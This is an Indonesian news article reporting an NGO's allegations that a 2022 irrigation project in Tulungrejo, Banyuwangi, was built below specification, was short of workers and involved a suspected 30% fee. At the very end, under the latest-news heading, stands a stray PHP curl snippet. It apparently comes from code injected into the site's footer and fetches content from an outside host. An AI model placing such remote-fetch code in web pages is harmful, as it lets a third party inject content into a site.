Diduga Pekerjaan Proyek (P3TGAI) Dikerjakan Asal-asalan

Minggu, 12 Juni 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Banyuwangi l Jejakkasus.info – Pekerjaan Proyek Percepatan Tata Guna Air Irigasi (P3TGAI) Milik Balai Wilayah Sungai Brantas TA 2022 senilai Rp.195.0000.000,- yang dikerjakan HIPPA Desa Tulung rejo, kecamatan glenmore, kabupaten banyuwangi, diduga telah menyalahi aturan yang berlaku dan disinyalir tidak sesuai Bestek.

Berdasarkan temuan LSM KCBI di lapangan, Jumat 10/06/22, pekerjaan percepatan tata guna air irigasi tersebut diduga dikerjakan tidak sesuai besaran teknis (bestek) yang sesuai RAB” kami duga pekerjaan ini tidak sesuai dengan Bestek yang ditentukan sesuai RAB” ungkap Heru sukoco. SE, selaku Wakil Ketua LSM KCBI cabang Kabupaten banyuwangi.

Baca Juga:  Sariater Dipilih Menjadi Sentra Vaksinasi Booster

Menurut heru sukoco, pekerjaan hippa tersebut dengan skema swakelola padat karya tunai, dimana HOK (Harian Ongkos Kerja) minimal 30% dari nilai pagu anggaran proyek yang dikerjakan, dengan menyerap tenaga kerja lokal dengan jumlah minimal 30 orang pekerja per hari. Namun kenyataannya, dilokasi hanya jumlah tenaga kerja hanya berjumlah 11 orang, sehingga terdapat selisih jumlah tenaga kerja yang ditentukan pada program padat karya tunai.

Baca Juga:  Puslatpurmar TNI - AL 7 Lampon Mampu Tingkatkan Cakupan Vaksinasi Di Banyuwangi

Selain itu, masih menurut heru sukoco, pekerjaan tersebut tidak menggunakan pondasi dan sebagian menggunakan pondasi lama,” bagaimana bisa kuat jika sebuah bangunan saluran irigasi tidak menggunakan pondasi, dan sebagian menggunakan pondasi lama yang sudah ada”, jelas heru sukoco.

Menurut samsul, selaku ketua HIPPA desa tulungrejo, saat diklarifikasi Tim LSM KCBI Cabang Banyuwangi, menyatakan jika proyek saluran irigasi percepatan tata guna air irigasi dikerjakan pihaknya, tapi menurutnya uang anggaran proyek tersebut di pegang oleh kepala dusun dan kepala desa tulungrejo.

Baca Juga:  Dinas PUPR Sigap Perbaikan Jalan Berlubang Ruas Mojoagung Mojowarno

Tak hanya dugaan penyimpangan dalam pelaksanaan pembangunan fisik, Heru juga menduga ada permainan fee proyek sebesar 30% dari nilai proyek yang dikerjakan oleh HIPPA,” kami menduga ada permainan fee 30% dari nilai proyek hippa. Kami akan menelusuri kemana saja aliran fee tersebut,” pungkas heru sukoco.SE.

(Arif indra)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai
Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers
Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye
Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu
Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021
KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 
Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual
Anwar Sadat Respon Cepat usulan Masyarakat, Kerusakan Jembatan di Wilayah Tanjab Barat
Tag :

Berita Terkait

Selasa, 8 Oktober 2024 - 14:59 WIB

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai

Minggu, 6 Oktober 2024 - 16:59 WIB

Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers

Rabu, 2 Oktober 2024 - 05:10 WIB

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye

Sabtu, 28 September 2024 - 15:09 WIB

Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu

Kamis, 26 September 2024 - 08:51 WIB

Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>